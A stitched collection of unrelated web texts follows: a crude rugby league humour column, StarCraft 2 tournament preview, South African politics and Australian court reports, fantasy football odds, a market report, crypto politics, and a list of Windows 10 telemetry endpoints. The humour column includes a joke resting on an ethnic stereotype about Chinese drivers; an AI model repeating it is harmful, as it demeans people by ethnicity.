When things were going crook for Manly back in the day, Des and Tooves would take out their frustrations by smashing walkie-talkies, throwing chairs and tables, pouring hot wax on each other’s nipples.
MANLY TURNING MIND GAMES AGAINST DES
For Saturday night, both have requested the adjoining door of the coaches boxes be removed so they can once again share in one another’s frustrations.
T-REX TERROR
DES Hasler said through the week that T-Rex, Tony Williams, was in the best form of his life.
It’s not really a compliment given that for most of his career he’s been bloody awful.
Nonetheless, the bloke’s as big as a block of council flats and runs the little bloke into the ground with the ease of a Labor politician.
media_camera Bulldogs James Graham makes Reg Reagan leave the light on at bedtime.
JAMES GRAHAM
GEEZ, I love this bloke, although he sends chills up and down my spine.
He looks so much like a bloody serial killer, if he was standing on the side of the road hitchhiking, as much as I love him, there’s no way I’d pick him up.
Before you knew it, you’d be bound, gagged and stuffed in ya boot.
In fact, I wanna check his NRL registration to make sure his last name’s not Milat.
Bloody good ballplayer, though. More unpredictable than a Chinese driver trying to reverse park ... just as dangerous as well.
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Crash Bandicoot Scented Candle Triple Pack
Official Activision Product
Long lasting burn of 18-20 hours
Handmade in the UK
Scented Candles
Each candle has it’s own distinct fragrance inspired by the game
Immerse yourself in the Crash games with our Crash Candle Triple Pack. The candles look just like the crates from the game, including the TNT and Nitro crates. But don’t worry, when you touch them they won’t explode! The scents of the jungle will engross you into the game.
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It’s time for MLG Anaheim, and time to bring the Spring Season to an enticing end as we delve into the cluster of players that are going to deliver top notch StarCraft 2 play. With the majority of pool play seeds in Korean hands, it’s the foreigners who will have to step up their game to make a difference.
The Pool Players
Wearing a mask due to sickness, viOLet accidently created a nickname for himself.
Photo by: MLG
MLG POOL PLAY
Pool A Pool B
viOLet Symbol
Inori Dream
Leenock Grubby
Ryung MarineKing
TBD TBD
TBD TBD
Pool C Pool D
Stephano MC
Polt Heart
Alicia DongRaeGu
Ganzi Socke
TBD TBD
TBD TBD
The Open Bracket
First in Columbus, second in Anaheim. Can MMA pull off another feat like this?
Photo by: MLG
The KeSPA Bracket
Bonjwa or not, none of these players will have it easy.
Image by: MLG
The Heart Of The Swarm
Robert Clotworthy, one of the more memorable voices of eSports history.
Image by: Blizzplanet.com
As we have to note that the seeds for pool play were determined by a player’s success at previous MLG Arenas, it soon becomes apparent that the winner of this event will most likely come out of this group. 16 out of the 24 pool spots, four from Spring Arena 1 and 12 from Spring Arena 2, have gone to the top contenders of an already extremely strong line-up.Names like DongRaeGu, MarineKing and MC don’t even stand out amongst players with equally impressive results as of late. We have Polt, winner of Assembly Winter earlier this year and one of the strongest Terrans overall. We have Symbol, second at Iron Squid as well as MLG Spring Arena 2, who most recently performed an all-kill in GSTL against Incredible Miracle.We also have viOLet, the Zergeon, one of the players with the most impressive runs 2012 thus far. Winning IEM Sao Paulo, MSI Battlegrounds and Spring Arena 2, he is living proof that you don’t have to live in Korea to keep your game at the highest level. Not only is he one of the best Zergs around, he is also considered a fan favorite amongst foreigners for his cheerful demeanor and his solid grasp of the English language.A much harder times than these few are the three Europeans going to have. While the format allows for every player in pool play to advance to the Championship bracket, you have to remember that the better the outcome of each player, the fewer games they have to play in the bracket.That said, however, things look bleak, especially for Socke, who is paired with MC, Heart and DongRaeGu. Not only are they amazingly strong players individually, but they also require Socke to prepare for each individual match-up. Grubby and Stephano are, for better or for worse, spared their mirror matches thus far, removing the coinflippy nature of both PvP and ZvZ.Predictions are useless at this point, due to the high level of the players, the nature of the Championship Bracket during which upsets are more or less bound to happen, but also because there are evenly strong contenders in the Open Bracket.Participants of Spring Arena 2, that didn’t make it into the top 12 were handed advanced spots in the Open Winners Bracket Round 5 and are containing players such as MMA, ThorZaIN, Losira and HuK. All of them are likely are proceed to pool play and stir each of the groups up.ThorZaIN, the latest Evil Genius, is about to make his first appearance at a premier tournament under his new flag after his Mousesports contract ran out. MMA, last year’s second at MLG Anaheim, has looked very strong lately, winning the Iron Squid tournament over Symbol and making top 8 during the last season of GSL Code S. He is arguably the strongest player in the Open Bracket and definitely one to watch out for.Other notable, non-advanced sign ups in the Open Bracket include Sase, Sheth, aLive, JYP, Puma, Lucky and Zenio. Sase, the Swede from Quantic, friend and teammate of NaNiwa, who will not be participating, has been in Korea for a while now and made huge progress in his play. He recently narrowly missed top 4 at the Red Bull Battlegrounds but other than that went off the radar for the most part. It will be exciting to see how well he fares.aLive, for a long time considered somewhat of a cheesy player, is now capable of producing interesting, longer macro games and is definitely a force to be reckoned with in any tournament he enters. He’s not shy to go out of the ordinary to beat his opponent.Aside from all the 272 players of the main event, MLG has announced a KeSPA tournament in order to jump start their business partnership. Brood War enthusiasts will be happy to see TaekBangLeeSsang (Bisu, Stork, Jaedong, Flash), the cream of the crop of the current Brood War scene, battle it out in StarCraft 2.Alongside these four are playing Fantasy, Soulkey, Calm and Leta. Don’t let the Bonjwa or near-Bonjwa status of the main four distract you from the fact that Pro League results have shown that the transition to StarCraft 2 went smoother for some of the less prominent players.Admittedly, the level of play by these eight will not stand up to that from the main tournament, but it will be more than interesting to watch, if only for nostalgia’s sake.With everything that’s going on with the LAN event, attendees will be able to put hands on StarCraft 2’s first expansion pack called ‘Heart of the Swarm’. The latest multiplayer build will feature on 200 PCs for everyone to check out and to see how well the new units work into the balance of the races. Robert Clotworthy, voice actor of Jim Raynor in all the StarCraft installations so far will make his way to California to make an appearance.Make sure to return for more updates as the weekend passes to see if the foreigners fulfill their task to take top ranks at MLG Anaheim and bring the Spring Season to a satisfying end. And to prove your knowledge make use of our GosuBet system!
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DA Leader visits the closed Johannnesburg Labour Centre, 29 May 2018. Photo: Orateng Lepodise
Mmusi Maimane believes Cyril Ramaphosa's youth jobs plan to create a million jobs in three years is a pipe-dream that would, at current rates take 50 years to achieve. He made the comments while visiting the closed Johannesburg Labour Centre.
On Wednesday DA Leader Mmusi Maimane visited the Johannesburg Labour Centre, once known as the largest labour centre in South Africa.
The centre was designed to assist, according to Maimane, approximately 800,000 people to access services and to find work but has been shut down for three years now.
Wednesday’s visit to the labour centre was not the first made by the DA. Maimane said representatives from party visited the centre in January 2016 to do an oversight. However the centre was closed due to “health and safety” risks.
“While we were assured this was being addressed urgently, it’s been over two years since then and the doors of opportunity remain shut to work seekers,” said Maimane.
According to Maimane, President Cyril Ramaphosa and his government have failed when it came to helping South African youth get jobs and access the services that they need.
“The fact is that the President’s target of one-million jobs in three years through the YES (Youth Employment Services) will not be achieved, and it certainly will not be achieved using dysfunctional Labour Centres. If the performance of the current Labour Centres continues, it will take 50 years to achieve the one-million jobs target,” claims Maimane.
Maimane, using the opportunity to do a bit of electioneering, said his party had a better strategy to help South African youth get jobs. This, he said, involved the establishment of Kuphuka centres like the one operational in the City of Johannesburg. These centres are aimed at small to micro enterprises to assist them in providing work opportunities.
Maimane used answers to parliamentary questions that the DA had asked Minister of Labour, Mildred Oliphant, to drive home his point.
According to Oliphant’s answers, the number of work seekers that were successfully placed through the country’s 22 active labour centres was slashed in half from 40,000 in 2015/16 to 20,000 in the last year.
“At the rate of only 20,000 successful placements a year, it will take 50 years to place one million work seekers,” Maimane said.
Only half of 40 self-help desks that the department committed to having set up in labour centres by two months ago were actually installed, Oliphant disclosed in her replies.
Using the City of Johannesburg as an example, Maimane said where the DA led, employment increased.
According to Maimane, in Johannesburg employment has increased by a total of 91,000 jobs from the fourth quarter of 2017 to the first quarter of this year, since the DA-led administration took charge of the metro in 2016, and 11,034 Expanded Public Works Programme (EPWP) opportunities were created from the beginning of July 2017 to the end of March 2018.
“This means that one DA-led government in one Metro has outperformed all of the 22 labour centres across South Africa in getting unemployed people into work,” said Maimane.
Residents around Johannesburg were happy about Maimane’s visit to the labour centre.
Crimulda Swarts from Eldorado Park said: “I feel that Mmusi Maimane is doing the right thing, because he cares about the young people of the country. I mean how are young people supposed to get jobs when such centres are closed?”
According to Swarts, if one goes to Eldorado Park, teenagers end up sitting on street corners and taking drugs when they finish school due to the lack of jobs.
“This building is supposed to provide our children with jobs but instead the rats are eating the building. I am very happy about what is happening today,” said Swarts.
She also believes Ramaphosa is not achieving anything with his YES initiative because a lot of people are still not getting jobs.
Lebogang Senolodi, 23, from Tembisa took Maimane’s visit to the centre as a sign of hope.
“I really wish people could see how parties like the DA and the EFF put the needs of the community first. I appreciate Maimane for taking his time to come visit the centre and I hope he will help people like me get jobs,” said Senolodi.
According to Senolodi he could not further his studies due to a lack of finances and since leaving high school four years back it has been very difficult for him to find a job.
“The ANC should really start thinking more about us as the youth unemployment rate continues be stubbornly high, while more and more ANC officials continue to be selfish by stealing from taxpayers,” said Senolodi.
South Africa’s current unemployment rate stood at 26.7% in the first quarter of 2018, unchanged from the previous period.
Comment from the Labour Department was being sought at the time of publishing. DM
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Elderly farmer Ian Turnbull gunned down NSW environment officer Glen Turner "like a feral pig" in an act of revenge that has "broken" the dead man's family, his widow has told the NSW Supreme Court.
Mr Turner, a compliance officer working for the Office of Environment and Heritage, was shot dead by 81-year-old Turnbull during what should have been a routine departmental visit near Moree, in the state's north, two years ago.
The family of enviroment officer Glen Turner arrive for the sentencing hearing. Credit:Dean Lewins
Turnbull was found guilty of murder following a five-week trial, during which jurors heard the shooting followed years of tension and court battles over illegal clearing.
That dispute culminated on July 29, 2014, when Turnbull - armed with a rifle that he kept in his ute for shooting wild pigs and kangaroos - walked towards Mr Turner and his colleague Robert Strange at Croppa Creek, raised his weapon and wordlessly shot Mr Turner in the neck.
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Guests at D23’s Destination D event are going to be the very first to sport the new style of MagicBand for Walt Disney World.
The new MagicBand is indeed the puck style that was rumored a few months back. As you can see, it can be worn in bands, keychains, and possibly other holders.
No further details are available at this time, but we expect to have more info later today.
Our thanks to @ParksNStuff on twitter for the pics!
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Let the saga commence in this point-and-click logic puzzler that's kawaii to the core. Taking cues from the classic visual novel set-up and crafts a rich fantasy Ghibli inspired world.
Follow Nairi, a troubled upper class girl, and Rex, a gangster-turned-scholar, as they uncover a dark mystery involving the mysterious Tower of Shirin! In a world brimming with with delightful, deadly, and dastardly creatures Nairi will need all her wits to outsmart bandit cats, befriend crime lord ducks, and escape a conspiracy as old as time.
NAIRI: Tower of Shirin is a charming graphic adventure with adorable characters within a troubled world that is sure to delight people of all ages looking for a strong narrative and puzzle experience!
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Oh gosh, another painting of Elsa?! You bet xDI really just wanted to try out painting a realistic portrait, after I realized a lot of the really good painters use a bunch of different colours (like blue, green and orange!) in the skin to make it look so realistic. I could've gone even further with that, but it's a good start.I've done a few more artworks of Elsa xD Here they are:
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For the second consecutive week, the Bookies’ Advantage squad scored 36 points, slightly below the average (42) in another generally low-scoring round.
Our only returns of note were a Laurent Koscielny clean sheet and 2 bonus points, and assists from Roberto Firmino and Romelu Lukaku, whilst captain Sergio Aguero once again disappointed. With the fixtures looking a little more clear cut this weekend, read on as we analyse the clean sheet and anytime goalscorer odds ahead of the tenth round of Premier League fixtures…
Defensive odds
Team Clean sheet odds Chance of a clean sheet Man Utd 64% Man City 2.1 48% Arsenal 2.25 44% Tottenham 43% Watford 41% Liverpool 37% Everton 2.8 36% Stoke 2.8 36% Middlesbrough 34% Chelsea 3.1 32% Bournemouth 3.3 30% Southampton 4.25 24% Swansea 4.75 21% Hull 4.8 21% West Ham 6 17% Leicester 6 17% Crystal Palace 6.1 16% West Brom 7.9 13% Sunderland 9.1 11% Burnley 12 8%
A home fixture against Burnley sees Manchester United top the bookies’ defensive rankings with a 64% chance of keeping a clean sheet on Saturday. The Red Devils have only conceded 4 goals in 4 home league games this season, whilst their opponents have scored just once in 3 road games. With corner kick duties in his locker and 2 assists to date, Daley Blind offers potential at both ends of the pitch and makes our starting XI.
United’s fierce rivals Manchester City rank second with a 48% chance of shutting out West Brom. Despite only keeping 1 clean sheet so far this campaign, the Citizens have only conceded 5 goals on the road, the joint-third best away defence in the league. Claudio Bravo has already saved a penalty this term, so if Pep Guardiola’s men don’t manage to keep a clean sheet there are other avenues for potential points. The Chilean starts in goal for our squad.
North London duo Arsenal (44%) and Tottenham (43%) are the third and fourth best defensive prospects for the weekend according to the bookies, with games away to Sunderland and at home to Leicester respectively offering good chances of clean sheets. The Gunners have only conceded twice away from home (the best away defence in the division) and Sunderland have the most goal-shy attack in the league (6 goals scored in 9 games), whilst Spurs have only conceded once in 4 home games (the best home defence in the league) and opponents Leicester have scored just 3 times in 4 away fixtures. As a result, Laurent Koscielny (2 goals) continues his run in our side, and is joined by Kyle Walker (2 assists). The duo are currently the top scoring defenders in FPL this season.
To fill the remainder of our defensive slots, we once again opt for Stoke’s budget friendly Lee Grant (£4.0m – 36%), with Watford’s Jose Holebas (£4.5m – 41%) and Swansea’s Stephen Kingsley (£4.0m – 21%) taking the second and third spots on our bench respectively.
Before moving onto our analysis of the bookmakers attacking odds, a quick look at the bottom rungs of the clean sheet ladder tells us that defensive assets from West Brom (13% – home to Man City), Sunderland (11% – home to Arsenal) and Burnley (8% – away to Man United) should be avoided this weekend.
Attacking odds
Player Goalscorer odds Chance of scoring Zlatan Ibrahimovic 1.85 54% Sergio Aguero 2 50% Romelu Lukaku 2.05 49% Alexis Sanchez 2.15 47% Marcus Rashford 2.2 45% Theo Walcott 2.3 43% Daniel Sturridge 43% Kelechi Iheanacho 2.37 42% Troy Deeney 2.38 42% Odion Ighalo 2.4 42% Diego Costa 2.5 40% Wayne Rooney 2.55 39% Wilfried Bony 2.7 37% Roberto Firmino 2.75 36% Vincent Janssen 2.75 36% Sadio Mane 2.75 36% Son Heung-Min 2.8 36% Michy Batshuayi 2.88 35% Philippe Coutinho 2.95 34% Charlie Austin 3 33% Alvaro Negredo 3.05 33% Kevin Mirallas 3.1 32% Yannick Bolasie 3.1 32% Alex Iwobi 3.15 32% Christian Benteke 3.2 31% Marko Arnautovic 3.2 31% Erik Lamela 3.2 31% Xherdan Shaqiri 3.2 31% Raheem Sterling 3.25 31% Callum Wilson 3.25 31% Eden Hazard 3.25 31% Christian Eriksen 3.4 29% Ross Barkley 3.55 28% Borja Baston 3.6 28% Abel Hernandez 3.6 28% Gerard Deulofeu 3.6 28% Cristhian Stuani 3.6 28% Simone Zaza 3.75 27% Mesut Ozil 3.75 27% Jermain Defoe 3.85 26% Jamie Vardy 3.9 26% Islam Slimani 3.9 26% Joshua King 4 25% Santiago Cazorla 4 25% Dimitri Payet 4.1 24% David Silva 4.1 24% Salomon Rondon 4.3 23% Gylfi Sigurdsson 4.33 23% Dusan Tadic 4.35 23% Michail Antonio 4.5 22% Nathan Redmond 4.5 22% Etienne Capoue 4.5 22% Gaston Ramirez 4.5 22% Willian 4.9 20% Riyad Mahrez 5 20% Duncan Watmore 5.2 19% Junior Stanislas 5.25 19% Nacer Chadli 5.25 19% James Milner 5.5 18% Roberto Pereyra 5.5 18% Robert Snodgrass 6 17% Andros Townsend 6.1 16% Wilfried Zaha 6.1 16% Sam Vokes 7.5 13% Joe Allen 7.5 13%
Ahead of a home game against Burnley, Zlatan Ibrahimovic tops the bookies’ anytime goalscorer rankings for the first time this season, with a 54% chance of finding the net. Despite not scoring in his last 5 Premier League outings, the enigmatic Swede has still registered 4 goals in 9 appearances and will certainly fancy his chances against Sean Dyche’s outfit, who have conceded 3 goals in each of their 3 away games so far.
Joining Ibrahimovic up front in our starting XI for Gameweek 10 are Everton’s Belgian striker Romelu Lukaku (49%) and Watford’s warhorse Troy Deeney (42%). Big Rom has been on fire of late, bagging 6 goals and 2 assists in his last 6 league appearances and welcomes West Ham, the league’s second leakiest defence (17 conceded), to Goodison Park on Sunday. Deeney, meanwhile, faces an even more generous defence in the shape of Hull, who have conceded 22 goals this term. The Hornets’ attacker has hit 3 goals in his last 6 appearances.
Some viable options in attack that we have chosen to overlook are Sergio Aguero (50%), Marcus Rashford (45%), Daniel Sturridge (43%) and Kelechi Iheanacho (42%). We forgo Aguero for budget reasons – giving up an 8% goalscoring chance (when swapped with Troy Deeney) allows us an extra £6m to spend on the rest of our squad – whilst we are unwilling to double up on United’s attack with Rashford. Sturridge and Iheanacho do not offer much in the way of starting security and as such are not considered for our squad.
For the second week running, we opt against electing the services of Alexis Sanchez (47%) against Sunderland, who have the joint-third worst defence in the division (16 conceded), because of the emergence of Theo Walcott (43%). The English speedster has been in red hot form for the Gunners, notching 8 times in 14 appearances in all competitions, including 3 in his last 3 outings. At a saving of £3.5m versus his teammate, Walcott provides great value and allows us to select a stronger squad overall.
Some of the benefit of opting against Aguero and Sanchez is seen in our midfield, as we are able to double up on Liverpool’s prime attacking assets. Roberto Firmino and Sadio Mane (both 36%) make our starting XI. 8 league appearances have yielded 3 goals and 3 assists for the Brazilian forward this season, whilst his Senegalese compatriot has struck 4 times and assisted twice in the same number of games. A trip to South London, with Crystal Palace yet to keep a clean sheet this campaign, certainly holds promise.
Heung-Min Son (36%) completes our starting XI. Tottenham’s South Korean attacker, on the back of 4 goals and 2 assists in 5 Premier League starts, welcomes champions Leicester to White Hart Lane on Saturday, with the Foxes currently in possession of the worst away defence in the league, conceding 13 goals in just 4 games. Etienne Capoue (22%) completes our squad and takes the first spot on our bench courtesy of his £4.5m price tag. A home encounter against a Hull side in freefall gives him the perfect chance to revive his early season form.
Team of the week
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Seed Treatment Market Size & Growth (2020- 2025):
The Global Seed Treatment Market was worth USD 7447.8 million in 2020 and estimated to be growing at a CAGR of 10.27%, to reach USD 12142.69 million by 2025.
Overview of the Market:
The global market is poised for growth owing to the growing research & development initiatives to improve the seeds' potential of genetic yielding. Seed treatment involves the application of biological, physical, and chemical agents during planting to improve the health of crops. It helps to control soil and seed-borne infections, diseases and also increases the crop yield leading to enhanced productivity. Seed treatments can be an environmentally more friendly way of using pesticides as the amounts used can be very small. Biological seed treatment agents are antagonistic fungi or bacteria used for protecting seeds.
The major driver of the market is the increasing global population which in turn led to an increase in food requirements. Other factors like Rising in cost of fertilizers & pesticides, increase in farm sizes, increase in rates of crop rotation and increased awareness among farmers about the benefits of using agro products are also driving the market for seed treatment. Increasing R&D costs related to improving crop quality is expected to increase the growth of the market. Major Restraints of the market are increased concerns over environment, Limited Duration of Protection.
The Global Seed Treatment Market is segmented and sub-segmented into following categories:
By Crop Type
Corn/Maize
Soybeans
Wheat
Rice
Canola
Cotton
Other products
By Application
Chemical Agents- Insecticides
Fungicides
other chemicals
Biological Agents
Based on function the market can be divided into Crop Protection Chemicals and Seed Enhancement. Corn/maize held the largest share of over 25% of the overall market revenue. The high market share of maize was contributed due to the increasing corn demand for producing bio-fuels. Canola is anticipated to witness the maximum growth as these seeds possess a high content of oil, which leads to increasing demand.
The Market is Geographically divided into:
North America
Europe
Asia-Pacific
Latin America
Middle-East and Africa
North America is the largest market for seed treatment and expected to continue its dominance. Much of the region’s growth comes from the US, which is one of the largest treated seed exporting countries in the world. The seed treatment market is projected to expand in the Asia Pacific due to higher economic growth in the region.
Key Players:
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You were supposed to be the chosen one!
162 shares
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The majority of US politicians are anti-crypto and Bitcoin. Either through fear, or lack of knowledge, they view digital currencies as a threat to their own system which is highly controlled and often manipulated. One congressman however thinks Facebook should dump Libra in favor of Bitcoin.
Libra is Still a “Shitcoin?”
Ohio state congressman Warren Davidson achieved crypto infamy earlier this year when he labeled Libra a ‘shitcoin’. At the time he emphasized that there is no central authority that can filter Bitcoin transactions or dilute its value, unlike Libra. He added;
“All these features are different from many of the things people call colloquially ‘shitcoin’, because the value can be distorted by a central authority, so people do really have their assets at risk.”
Davidson is back in the news this week following a Podcast interview where he questioned why governments want to know everything about money movements. According to Forbes the conversation then moved on to Facebook’s proposed crypto plans.
His primary concern is the centralization of Libra. Facebook effectively owns and controls all of the data on its platform and its likely to exert the same level of impunity over any digital currency it creates.
The report added that Davidson confirmed that Libra would be regulated as a security if it ever gets off the ground. This would be due to the fact that the consortium in control of the network could make changes to the currency that would affect its exchange rate.
“If that central authority is able to manipulate the value of [Libra], how do you not treat it as a security?”
Using the Venezuelan Bolivar as an example he added that Libra holders would be harmed financially if it was decided to add a weaker currency to Libra’s fiat reserves. He continued adding that the app would probably not get regulated if it were to use Bitcoin instead of trying to create something entirely new.
“I hope they try it because it’d be a way better idea than Libra,”
Better Understanding of Bitcoin
The congressman added that Libra has been valuable for illustrating Bitcoin’s key features as decentralized uncontrollable digital money. Facebook already filters and controls what people see on their feeds so he questioned whether people would want the same filters applied to their monetary transactions.
“Do we want filtered speech or free speech? Do we want filtered transactions or freedom?”
Podcast co-host Michael Goldstein added that people have come to understand Bitcoin better by virtue of seeing the problems with Libra. Davidson agreed that the greater understanding of Bitcoin may increase the rhetoric from detractors such as Senator Brad Sherman who wants to ban it.
Facebook seems determined to continue but the holes in the digital ship are growing as it slowly starts to sink before it even leaves the port.
Image from Shutterstock
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Windows 10 has always had a bad reputation for snooping on users. While that was a valid issue at the start, each new feature update has made changes to the privacy side of the operating system, and users now have much greater control over things.
When you perform a clean install of Windows 10, the operating system connects to a large number of sites for different purposes, including -- naturally enough -- to send and receive email, download apps and security updates, and so on. The sheer number of endpoints that the operating system connects to might surprise you however. It's a very, very long list.
SEE ALSO:
Microsoft has released details of which endpoints Windows 10 1709 (Fall Creators Update) and 1803 (April 2018 Update) connect to following a clean install.
This list was created by installing the OS on a virtual machine using the default settings and leaving it running without user interaction for a week.
Most of the first batch of sites are for Windows 10 1709 onwards, but any that are for 1803 are marked as such under Destination.
Windows 10 Enterprise connection endpoints
APPS Weather app Live Tile Source process Protocol Destination explorer HTTP tile-service.weather.microsoft.com HTTP blob.weather.microsoft.com (1803) OneNote Live Tile Source process Protocol Destination HTTPS cdn.onenote.net/livetile/?Language=en-US Twitter updates Source process Protocol Destination HTTPS wildcard.twimg.com svchost.exe oem.twimg.com/windows/tile.xml Facebook updates Source process Protocol Destination star-mini.c10r.facebook.com Photos app Source process Protocol Destination WindowsApps\Microsoft.Windows.Photos HTTPS evoke-windowsservices-tas.msedge.net Candy Crush Saga Source process Protocol Destination TLS v1.2 candycrushsoda.king.com Microsoft Wallet Source process Protocol Destination system32\AppHostRegistrationVerifier.exe HTTPS wallet.microsoft.com Groove Music Source process Protocol Destination system32\AppHostRegistrationVerifier.exe HTTPS mediaredirect.microsoft.com CORTANA AND SEARCH Images for Store suggestions Source process Protocol Destination searchui HTTPS store-images.s-microsoft.com Cortana greetings, tips, and Live Tiles Source process Protocol Destination backgroundtaskhost HTTPS www.bing.com/client Configures parameters Source process Protocol Destination backgroundtaskhost HTTPS www.bing.com/proactive Report diagnostic Source process Protocol Destination searchui HTTPS www.bing.com/threshold/xls.aspx CERTIFICATES Checks trusted authorities for updates Source process Protocol Destination svchost HTTP ctldl.windowsupdate.com Downloads fraudulent certificate list Source process Protocol Destination svchost HTTP ctldl.windowsupdate.com DEVICE AUTHENTICATION Authenticate a device. Source process Protocol Destination dmd.metaservices.microsoft.com.akadns.net HTTP dmd.metaservices.microsoft.com DEVICE METADATA Retrieve device metadata Source process Protocol Destination dmd.metaservices.microsoft.com.akadns.net HTTP dmd.metaservices.microsoft.com (1803) DIAGNOSTIC DATA Connected User Experiences and Telemetry Source process Protocol Destination svchost cy2.vortex.data.microsoft.com.akadns.net Connected User Experiences and Telemetry Source process Protocol Destination svchost v10.vortex-win.data.microsoft.com/collect/v1 Used by Windows Error Reporting Source process Protocol Destination wermgr watson.telemetry.microsoft.com TLS v1.2 modern.watson.data.microsoft.com.akadns.net FONT STREAMING Download fonts on demand Source process Protocol Destination svchost fs.microsoft.com fs.microsoft.com/fs/windows/config.json LICENSING Online activation and app licensing Source process Protocol Destination licensemanager HTTPS licensing.mp.microsoft.com/v7.0/licenses/content LOCATION Location data Source process Protocol Destination HTTP location-inference-westus.cloudapp.net MAPS Check offline map data Source process Protocol Destination svchost HTTPS *g.akamaiedge.net MICROSOFT ACCOUNT
Account sign-in Source process Protocol Destination login.msa.akadns6.net system32\Auth.Host.exe HTTPS auth.gfx.ms MICROSOFT STORE
Windows Push Notification Services (WNS) Source process Protocol Destination *.wns.windows.com Revoke malicious app licenses Source process Protocol Destination HTTP storecatalogrevocation.storequality.microsoft.com Download app image files Source process Protocol Destination HTTPS img-prod-cms-rt-microsoft-com.akamaized.net backgroundtransferhost HTTPS store-images.microsoft.com (1803) Communicate with store Source process Protocol Destination HTTP storeedgefd.dsx.mp.microsoft.com HTTP pti.store.microsoft.com TLS v1.2 cy2.*.md.mp.microsoft.com.*. svchost HTTPS displaycatalog.mp.microsoft.com (1803) NETWORK CONNECTION STATUS INDICATOR Detects Internet connectivity Source process Protocol Destination HTTP www.msftconnecttest.com/connecttest.txt OFFICE Office 365 portal's shared infrastructure Source process Protocol Destination *.a-msedge.net hxstr *.c-msedge.net *.e-msedge.net *.s-msedge.net HTTPS ocos-office365-s2s.msedge.net (1803) Office 365 portal's shared infrastructure Source process Protocol Destination system32\Auth.Host.exe HTTPS outlook.office365.com Office app metadata Source process Protocol Destination Windows Apps\Microsoft.Windows.Photos HTTPS client-office365-tas.msedge.net ONEDRIVE Automatically update URLs Source process Protocol Destination onedrive HTTP \ HTTPS g.live.com/1rewlive5skydrive/ODSUProduction OneDrive for Business Source process Protocol Destination onedrive HTTPS oneclient.sfx.ms SETTINGS Apps dynamically update configuration Source process Protocol Destination dmclient cy2.settings.data.microsoft.com.akadns.net Apps dynamically update configuration Source process Protocol Destination dmclient HTTPS settings.data.microsoft.com Apps dynamically update configuration Source process Protocol Destination svchost HTTPS settings-win.data.microsoft.com SKYPE Retrieve Skype configuration values Source process Protocol Destination microsoft.windowscommunicationsapps.exe HTTPS config.edge.skype.com WINDOWS DEFENDER Cloud-based Protection Source process Protocol Destination wdcp.microsoft.com Definition updates Source process Protocol Destination definitionupdates.microsoft.com MpCmdRun.exe HTTPS go.microsoft.com WINDOWS SPOTLIGHT Retrieve Spotlight metadata Source process Protocol Destination backgroundtaskhost HTTPS arc.msn.com backgroundtaskhost g.msn.com.nsatc.net TLS v1.2 *.search.msn.com HTTPS ris.api.iris.microsoft.com HTTPS query.prod.cms.rt.microsoft.com WINDOWS UPDATE Downloads app and OS updates Source process Protocol Destination svchost HTTPS *.prod.do.dsp.mp.microsoft.com Download patches and updates Source process Protocol Destination svchost HTTP *.windowsupdate.com HTTP fg.download.windowsupdate.com.c.footprint.net Highwinds Content Delivery Network updates Source process Protocol Destination cds.d2s7q6s2.hwcdn.net Verizon Content Delivery Network updates Source process Protocol Destination HTTP *wac.phicdn.net *wac.edgecastcdn.net Apps and Windows Insider builds Source process Protocol Destination svchost *.tlu.dl.delivery.mp.microsoft.com.c.footprint.net Apps from Store Source process Protocol Destination svchost emdl.ws.microsoft.com Enable connections Source process Protocol Destination svchost HTTPS fe2.update.microsoft.com svchost fe3.delivery.mp.microsoft.com fe3.delivery.dsp.mp.microsoft.com.nsatc.net svchost HTTPS sls.update.microsoft.com HTTP *.dl.delivery.mp.microsoft.com (1803) Content regulation Source process Protocol Destination svchost HTTPS tsfe.trafficshaping.dsp.mp.microsoft.com Source process Protocol Destination a122.dscd.akamai.net a1621.g.akamai.net MICROSOFT FORWARD LINK REDIRECTION SERVICE Redirect web links Source process Protocol Destination Various HTTPS go.microsoft.com
You can find out more, including any problems that blocking certain endpoints might have on the smooth running of your system here.
Non-Enterprise versions of Windows 10 also connect to the following:
Windows 10 Home 1709
Destination Protocol Description *.tlu.dl.delivery.mp.microsoft.com.c.footprint.net HTTP Enables connections to Windows Update. *.wac.phicdn.net HTTP Used by the Verizon Content Delivery Network to perform Windows updates. *.1.msftsrvcs.vo.llnwi.net HTTP Used for Windows Update downloads of apps and OS updates. *.c-msedge.net HTTP Used by OfficeHub to get the metadata of Office apps. *.delivery.dsp.mp.microsoft.com.nsatc.net TLSv1.2 Enables connections to Windows Update. *.dscd.akamai.net HTTP Used to download content. *.dspg.akamaiedge.net HTTP Used to check for updates to maps that have been downloaded for offline use. *.hwcdn.net HTTP Used by the Highwinds Content Delivery Network to perform Windows updates. *.m1-msedge.net TLSv1.2 Used by OfficeHub to get the metadata of Office apps. *.search.msn.com TLSv1.2 Used to retrieve Windows Spotlight metadata. *.wac.edgecastcdn.net TLSv1.2 Used by the Verizon Content Delivery Network to perform Windows updates. *.wns.windows.com TLSv1.2 Used for the Windows Push Notification Services (WNS). *prod.do.dsp.mp.microsoft.com TLSv1.2/HTTPS Used for Windows Update downloads of apps and OS updates. .g.akamaiedge.net HTTP Used to check for updates to maps that have been downloaded for offline use. telecommand.telemetry.microsoft.com HTTPS Used by Windows Error Reporting. 2.dl.delivery.mp.microsoft.com HTTP Enables connections to Windows Update. 2.tlu.dl.delivery.mp.microsoft.com HTTP Enables connections to Windows Update. arc.msn.com HTTPS Used to retrieve Windows Spotlight metadata. arc.msn.com.nsatc.net TLSv1.2 Used to retrieve Windows Spotlight metadata. a-ring.msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. au.download.windowsupdate.com HTTP Used to download operating system patches and updates. b-ring.msedge.net HTTPS Used by OfficeHub to get the metadata of Office apps. candycrushsoda.king.com TLSv1.2 Used for Candy Crush Saga updates. cdn.content.prod.cms.msn.com HTTP Used to retrieve Windows Spotlight metadata. cdn.onenote.net HTTP Used for OneNote Live Tile. client-office365-tas.msedge.net HTTP Used to connect to the Office 365 portal’s shared infrastructure, including Office Online. config.edge.skype.com HTTP Used to retrieve Skype configuration values. ctldl.windowsupdate.com HTTP Used to download certificates that are publicly known to be fraudulent. cy2.displaycatalog.md.mp.microsoft.com.akadns.net TLSv1.2 Used to communicate with Microsoft Store. cy2.licensing.md.mp.microsoft.com.akadns.net TLSv1.2 Used to communicate with Microsoft Store. cy2.purchase.md.mp.microsoft.com.akadns.net TLSv1.2 Used to communicate with Microsoft Store. cy2.settings.data.microsoft.com.akadns.net TLSv1.2 Used as a way for apps to dynamically update their configuration. cy2.vortex.data.microsoft.com.akadns.net TLSv1.2 Used to retrieve Windows Insider Preview builds. definitionupdates.microsoft.com HTTPS Used for Windows Defender definition updates. displaycatalog.mp.microsoft.com HTTPS Used to communicate with Microsoft Store. 